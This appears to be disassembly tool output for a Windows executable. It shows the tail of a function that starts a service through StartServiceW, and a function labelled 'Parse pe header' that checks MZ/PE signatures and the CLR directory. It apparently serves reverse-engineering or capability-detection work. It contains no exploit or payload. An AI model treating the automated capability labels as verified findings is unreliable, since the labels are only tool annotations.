push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop esi
pop ebx
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401102
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop esi
pop ebx
xor ecx, ebp
pop edi
call fcn.00401102
mov esp, ebp
pop ebp
ret

Function at 0x401917
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401956
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401956
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401956
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401956
cmp dword [ecx + 0x74], 0xe
jbe 0x401956
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret